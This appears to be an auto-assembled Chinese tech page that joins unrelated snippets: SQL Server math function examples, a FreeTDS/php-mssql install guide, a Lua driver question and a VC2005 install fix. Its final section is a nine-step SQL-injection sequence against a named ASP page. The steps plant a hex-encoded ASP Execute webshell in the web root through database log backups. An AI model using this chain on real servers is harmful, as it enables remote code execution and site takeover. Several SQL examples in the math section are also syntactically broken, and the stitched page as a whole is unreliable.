GVKun编程网logo

MSSQL SERVER 2005 数学函数整理(sql中的数学函数)

2

本文将介绍MSSQLSERVER2005数学函数整理的详细情况,特别是关于sql中的数学函数的相关信息。我们将通过案例分析、数据研究等多种方式,帮助您更全面地了解这个主题,同时也将涉及一些关于lnmp

本文将介绍MSSQL SERVER 2005 数学函数整理的详细情况,特别是关于sql中的数学函数的相关信息。我们将通过案例分析、数据研究等多种方式,帮助您更全面地了解这个主题,同时也将涉及一些关于lnmp 环境里安装 mssql 及 mssql 的 php 扩展、lua 访问 mssql 的驱动(好用的)是哪一个?对 mysql/pgsql 的支持不错,但希望先在 mssql 能用起来、Microsoft Visual C++ 2005(vc2005)安装失败怎么办 Microsoft Visual C++ 2005(vc2005)安装失败的解决办法、MSSQL 2005 LOG 备份 webshell 的方法的知识。

本文目录一览:

MSSQL SERVER 2005 数学函数整理(sql中的数学函数)

MSSQL SERVER 2005 数学函数整理(sql中的数学函数)

MSsql SERVER 2005 数学函数
1.求绝对值
ABS()
select FWeight-50,ABS(FWeight-50),ABS(-5.38) from T_Person
2.求幂
POWER(X,Y) 用来计算X的Y次幂
select FWeight,POWER(FWeight,-0.5),2),
POWER(FWeight,3),4) from T_Person
select Power(2,2)
3.求平方根
SQRT()
select FWeight,SQRT(FWeight) from T_Person
4. 求随机数
RAND() 支持有参数,也可以没参数
select RAND()
select RAND(123)
5.舍入到最大整数
CEILING()
select FName,FWeight,CEILING(FWeight),CEILING(FWeight-1) from T_Person
6.舍入到最小整数
FLOOR()
select FName,FLOOR(FWeight),FLOOR(FWeight
-1) from T_Person
7.四舍五入
ROUND()
ROUND(m,d) m为待进行四舍五入的数值,d为计算精度,也就是四舍五入时保留的小数位数
d为0表示不保留小数位,d为负值表示在整数部分进行四舍五入。
select FName,ROUND(FWeight,1),ROUND(FWeight-1,0),-1) from T_Person
8.求正弦值
SIN()
select FName,SIN(FWeight)from T_Person
9.求余弦值
COS()
select FName,COS(FWeight) from T_Person
10.求反正弦
ASIN()
select FName,ASIN(1/FWeight) from T_Person
11.求反余弦
ACOS()
select FName,ACOS(1/FWeight) from T_Person
12.求正切值
TAN()
select FName,TAN(FWeight) from T_Person
13.求反正切值
atan()
select FName,atan(FWeight) from T_Person
14.求两个变量的反正切
ATN2(X,Y) 类似于计算Y/X的反正切
select FName,ATN2(Fweight,2) from T_Person
15.求余切
COT()
select FName,COT(Fweight) from T_Person
16.求圆周率π值
PI()
select FName,Fweight
PI(),PI() from T_Person
17.弧度制转换为角度制
degrees() 结果的精确度与参数有关
select degrees(PI()),degrees(3.0),degrees(3)
18.角度制转换为弧度制
radians() 结果的精确度与参数有关
select radians(180),radians(180.0)
19.求符号
SIGN() 返回一个数值的符号,如果数值大于0则返回1,
如果数值等于0则返回0,如果数值小于0则返回-1.
结果的精确度与参数有关
select FName,FWeight-48.68,SIGN(FWeight-48.68),SIGN(1),SIGN(1.000) from T_Person
20.求整除余数 %
select FName,FWeight%5 from T_Person
21.求自然对数
LOG()
select FName,LOG(FWeight),LOG(1.00) from T_Person
22.求以10为底的对数
LOG10()
select FName,Fweight,LOG10(FWeight),LOG10(100) from T_Person
ps: 主要参照《程序员的sql金典》
实例有所改动。
T_Person表的创建
<div><adata="73780"id="copybut73780" onclick="doCopy('code73780')"> 代码如下:

lnmp 环境里安装 mssql 及 mssql 的 php 扩展

lnmp 环境里安装 mssql 及 mssql 的 php 扩展

小活中用到 mssql, 于是在自己 lnmp 环境中安装各 mssql 数据库

步骤如下: 

源码编译安装

(1)下载 freetds-stable-0.91 源码: http://download.csdn.net/download/xhu_eternalcc/7457555(花了 4 积分,没有积分的找我要,微信 zmd1047773569)
          上传到根目录下的 download 文件中
(2)编译安装:
   # cd /download

           # tar zxvf freetds-stable.tgz(解压,)

 

   # cd freetds-0.91

   # 编译

            # ./configure --prefix=/usr/local/freetds --with-tdsver=8.0 --enable-msdblib

            # make

            # make install

            参数解释:

            安装 freetds 到目录 /usr/local/freetds:--prefix=/usr/local/freetds

            支持 MSSQL2000:--with-tdsver=8.0 --enable-msdblib

 

配置 FreeTds 的库文件

将 freetds 的库文件所在路径配置到 LD_LIBRARY_PATH 参数中:

$ export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/localfreetds/lib/:

或者直接把 etc/bashrc 的文件 bashrc 直接填写上  LD_LIBRARY_PATH=/usr/localfreetds/lib:$LD_LIBRARY_PATH

这么作的目的是为了避免加载 FreeTds 库文件加载不上的情况。

 

 

php 里安装 php-mssql 扩展:

cd /download (把php-mssql扩展下载到download目录里)
wget http://cn2.php.net/distributions/php-5.6.30.tar.gz (下载扩展文件,这里要根据你环境中运行的php版本选择对应的扩展版本下载,我这里php是5.6.30的 所以php-mssql扩展下载对应的版本) tar -zxvf php-5.6.30.tar.gz cd /php-5.6.30/ext/mssql
 /usr/local/php/bin/phpize
./configure --with-php-config=/usr/local/php/bin/php-config --with-mssql=/usr/local/freetds/ 

make
&& make install

编译安装后的结果 如下图

 

同时 mssql.so 也在 php 扩展文件下生成 (如下图)

 

 

 

 把 extension="/usr/local/php/lib/php/extensions/no-debug-non-zts-20131226/mssql.so"  添加到 usr/local/php/lib/php.ini 中

 引用扩展后,重启 web 服务,通过 phpinfo 查看扩展 mssql 是否开启成功

重启 php   /usr/local/php/sbin/php-fpm reload  

重启 nginx  进入 nginx 可执行目录 sbin 下,输入命令./nginx -s reload 即可(或者 /application/nginx/sbin/nginx -s reload)

 

 

 

lua 访问 mssql 的驱动(好用的)是哪一个?对 mysql/pgsql 的支持不错,但希望先在 mssql 能用起来

lua 访问 mssql 的驱动(好用的)是哪一个?对 mysql/pgsql 的支持不错,但希望先在 mssql 能用起来

lua 访问 mssql 的驱动(好用的)是哪一个?

lua 对 mysql/pgsql 的支持不错,但对 mssql 的访问,总是不太顺

而目前希望先在 mssql 能用起来

Microsoft Visual C++ 2005(vc2005)安装失败怎么办 Microsoft Visual C++ 2005(vc2005)安装失败的解决办法

Microsoft Visual C++ 2005(vc2005)安装失败怎么办 Microsoft Visual C++ 2005(vc2005)安装失败的解决办法

是否遇到 mic++rosoft visual c++ 2005 (vc2005) 安装失败的烦恼?你知道该问题可能由多种因素造成,包括缺少系统文件或兼容性问题吗?php小编香蕉为你呈现这篇文章,逐一剖析 vc2005 安装失败的常见原因,并提供全面深入的解决方案。继续阅读,了解如何快速解决问题,顺利安装 vc2005,为你的开发之旅扫清障碍!

首先把vcredist_x86.exe,改为vcredist_x86.zip然后打开提取出【VCREDI~3.exe"(这里是用的WINRAR程序打开ZIP程序,用系统自带ZIP解压程序是一样的),如图:

再把VCREDI~3.exe改为VCREDI~3.zip打开,再解压出【vcredist.msi】与【vcredis1.cab】文件到同目录,这里是解压到E盘根目录,如图。

Microsoft Visual C++ 2005(vc2005)安装失败怎么办 Microsoft Visual C++ 2005(vc2005)安装失败的解决办法

使用快捷键按WIN+R键,调出运行,输入CMD,回车。请看图1,或者点开始,输入cmd,然后点找到的CMD.EXE程序。看图2

以上就是Microsoft Visual C++ 2005(vc2005)安装失败怎么办 Microsoft Visual C++ 2005(vc2005)安装失败的解决办法的详细内容,更多请关注php中文网其它相关文章!

MSSQL 2005 LOG 备份 webshell 的方法

MSSQL 2005 LOG 备份 webshell 的方法

第一步
http://itpro.blog.163.com/test.asp'';alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]--

第二步:
http://itpro.blog.163.com/test.asp'';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

第三步
http://itpro.blog.163.com/test.asp'';drop/**/table/**/[itpro]--

第四步
http://itpro.blog.163.com/test.asp'';create/**/table/**/[itpro]([a]/**/image)--

第五步
http://itpro.blog.163.com/test.asp'';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

第六步
http://itpro.blog.163.com/test.asp'';insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)--

第七步
http://itpro.blog.163.com/test.asp'';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

第八步
http://itpro.blog.163.com/test.asp'';drop/**/table/**/[itpro]--

第九步
http://itpro.blog.163.com/test.asp'';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

我们今天的关于MSSQL SERVER 2005 数学函数整理sql中的数学函数的分享就到这里,谢谢您的阅读,如果想了解更多关于lnmp 环境里安装 mssql 及 mssql 的 php 扩展、lua 访问 mssql 的驱动(好用的)是哪一个?对 mysql/pgsql 的支持不错,但希望先在 mssql 能用起来、Microsoft Visual C++ 2005(vc2005)安装失败怎么办 Microsoft Visual C++ 2005(vc2005)安装失败的解决办法、MSSQL 2005 LOG 备份 webshell 的方法的相关信息,可以在本站进行搜索。

本文标签: